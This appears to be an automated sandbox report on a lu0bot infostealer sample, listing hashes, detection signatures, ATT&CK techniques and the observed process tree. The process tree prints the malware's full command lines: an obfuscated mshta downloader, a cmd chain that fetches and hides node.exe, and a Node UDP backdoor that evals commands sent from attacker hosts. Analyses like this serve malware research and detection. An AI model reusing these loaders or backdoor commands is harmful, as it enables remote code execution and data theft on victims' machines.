lu0bot | a565b1d26d7c7ea28aad5f1c23fb5c055198d200147589c7dc36e3e1fa13e119

Analysis

max time kernel
150s
max time network
151s
platform
windows10_x64
resource
win10v20210408
submitted
04-08-2021 10:12

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General

Target

usfive_20210804-120800.exe
Size

2KB
MD5

ae597b5df58ab4f01867bb5eaac93efd
SHA1

c8a13f566a130f18507e824e1e5c167b186a65a7
SHA256

a565b1d26d7c7ea28aad5f1c23fb5c055198d200147589c7dc36e3e1fa13e119
SHA512

fd978db8ff6d1fc7625ec996938022d3e191a5b58d7dcd0a430f80e1558f4986aaaeff2cc57f0d21451905d24494f7c5581b349e2d75d28a77e5430309f13afa

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	1548	mshta.exe
12	2064	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2120	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
532	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1684	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2900	ipconfig.exe
2100	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1512	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\deefb1bdafb71417:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:c499f047c0fdd7a9d6397d37a946a996	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2120	node.exe
2120	node.exe
2120	node.exe
2120	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2724	wmic.exe
Token: SeSecurityPrivilege	2724	wmic.exe
Token: SeTakeOwnershipPrivilege	2724	wmic.exe
Token: SeLoadDriverPrivilege	2724	wmic.exe
Token: SeSystemProfilePrivilege	2724	wmic.exe
Token: SeSystemtimePrivilege	2724	wmic.exe
Token: SeProfSingleProcessPrivilege	2724	wmic.exe
Token: SeIncBasePriorityPrivilege	2724	wmic.exe
Token: SeCreatePagefilePrivilege	2724	wmic.exe
Token: SeBackupPrivilege	2724	wmic.exe
Token: SeRestorePrivilege	2724	wmic.exe
Token: SeShutdownPrivilege	2724	wmic.exe
Token: SeDebugPrivilege	2724	wmic.exe
Token: SeSystemEnvironmentPrivilege	2724	wmic.exe
Token: SeRemoteShutdownPrivilege	2724	wmic.exe
Token: SeUndockPrivilege	2724	wmic.exe
Token: SeManageVolumePrivilege	2724	wmic.exe
Token: 33	2724	wmic.exe
Token: 34	2724	wmic.exe
Token: 35	2724	wmic.exe
Token: 36	2724	wmic.exe
Token: SeIncreaseQuotaPrivilege	2724	wmic.exe
Token: SeSecurityPrivilege	2724	wmic.exe
Token: SeTakeOwnershipPrivilege	2724	wmic.exe
Token: SeLoadDriverPrivilege	2724	wmic.exe
Token: SeSystemProfilePrivilege	2724	wmic.exe
Token: SeSystemtimePrivilege	2724	wmic.exe
Token: SeProfSingleProcessPrivilege	2724	wmic.exe
Token: SeIncBasePriorityPrivilege	2724	wmic.exe
Token: SeCreatePagefilePrivilege	2724	wmic.exe
Token: SeBackupPrivilege	2724	wmic.exe
Token: SeRestorePrivilege	2724	wmic.exe
Token: SeShutdownPrivilege	2724	wmic.exe
Token: SeDebugPrivilege	2724	wmic.exe
Token: SeSystemEnvironmentPrivilege	2724	wmic.exe
Token: SeRemoteShutdownPrivilege	2724	wmic.exe
Token: SeUndockPrivilege	2724	wmic.exe
Token: SeManageVolumePrivilege	2724	wmic.exe
Token: 33	2724	wmic.exe
Token: 34	2724	wmic.exe
Token: 35	2724	wmic.exe
Token: 36	2724	wmic.exe
Token: SeDebugPrivilege	2100	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 1548	532	usfive_20210804-120800.exe	74
PID 532 wrote to memory of 1548	532	usfive_20210804-120800.exe	74
PID 532 wrote to memory of 1548	532	usfive_20210804-120800.exe	74
PID 1548 wrote to memory of 3340	1548	mshta.exe	76
PID 1548 wrote to memory of 3340	1548	mshta.exe	76
PID 1548 wrote to memory of 3340	1548	mshta.exe	76
PID 3340 wrote to memory of 2064	3340	cmd.exe	78
PID 3340 wrote to memory of 2064	3340	cmd.exe	78
PID 3340 wrote to memory of 2064	3340	cmd.exe	78
PID 3340 wrote to memory of 3032	3340	cmd.exe	79
PID 3340 wrote to memory of 3032	3340	cmd.exe	79
PID 3340 wrote to memory of 3032	3340	cmd.exe	79
PID 3340 wrote to memory of 3324	3340	cmd.exe	80
PID 3340 wrote to memory of 3324	3340	cmd.exe	80
PID 3340 wrote to memory of 3324	3340	cmd.exe	80
PID 3324 wrote to memory of 2120	3324	cscript.exe	81
PID 3324 wrote to memory of 2120	3324	cscript.exe	81
PID 3324 wrote to memory of 2120	3324	cscript.exe	81
PID 2120 wrote to memory of 2484	2120	node.exe	85
PID 2120 wrote to memory of 2484	2120	node.exe	85
PID 2120 wrote to memory of 2484	2120	node.exe	85
PID 2120 wrote to memory of 2548	2120	node.exe	86
PID 2120 wrote to memory of 2548	2120	node.exe	86
PID 2120 wrote to memory of 2548	2120	node.exe	86
PID 2120 wrote to memory of 532	2120	node.exe	87
PID 2120 wrote to memory of 532	2120	node.exe	87
PID 2120 wrote to memory of 532	2120	node.exe	87
PID 2120 wrote to memory of 2788	2120	node.exe	88
PID 2120 wrote to memory of 2788	2120	node.exe	88
PID 2120 wrote to memory of 2788	2120	node.exe	88
PID 2120 wrote to memory of 3024	2120	node.exe	89
PID 2120 wrote to memory of 3024	2120	node.exe	89
PID 2120 wrote to memory of 3024	2120	node.exe	89
PID 2120 wrote to memory of 1684	2120	node.exe	91
PID 2120 wrote to memory of 1684	2120	node.exe	91
PID 2120 wrote to memory of 1684	2120	node.exe	91
PID 2120 wrote to memory of 2724	2120	node.exe	92
PID 2120 wrote to memory of 2724	2120	node.exe	92
PID 2120 wrote to memory of 2724	2120	node.exe	92
PID 2120 wrote to memory of 2900	2120	node.exe	93
PID 2120 wrote to memory of 2900	2120	node.exe	93
PID 2120 wrote to memory of 2900	2120	node.exe	93
PID 2120 wrote to memory of 3032	2120	node.exe	94
PID 2120 wrote to memory of 3032	2120	node.exe	94
PID 2120 wrote to memory of 3032	2120	node.exe	94
PID 2120 wrote to memory of 2100	2120	node.exe	95
PID 2120 wrote to memory of 2100	2120	node.exe	95
PID 2120 wrote to memory of 2100	2120	node.exe	95
PID 2120 wrote to memory of 1512	2120	node.exe	96
PID 2120 wrote to memory of 1512	2120	node.exe	96
PID 2120 wrote to memory of 1512	2120	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2788	attrib.exe
3024	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:532
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628071956320.txt & cscript /nologo /e:jscript get1628071956320.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F22ce76d60%26b%3D1c63848f" node.cab & expand node.cab node.exe & del get1628071956320.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628071956320.txt & cscript /nologo /e:jscript get1628071956320.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272ce76d60%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628071956320.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628071956320.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F22ce76d60%26b%3D1c63848f" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2064
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3032
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628071956320.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272ce76d60%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3324
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272ce76d60%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2120
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2484
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2548
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:532
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2788
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3024
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1684
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2724
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2900
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3032
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:1512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2120-128-0x0000000005E00000-0x0000000005E01000-memory.dmp

Filesize
4KB

Download
memory/2120-127-0x0000000025600000-0x0000000025601000-memory.dmp

Filesize
4KB

Download
memory/2120-126-0x0000000024F00000-0x0000000024F01000-memory.dmp

Filesize
4KB

Download
memory/2120-129-0x000000003E200000-0x000000003E201000-memory.dmp

Filesize
4KB

Download
memory/2120-130-0x0000000004800000-0x0000000004801000-memory.dmp

Filesize
4KB

Download
memory/2120-125-0x0000000006A00000-0x0000000006A01000-memory.dmp

Filesize
4KB

Download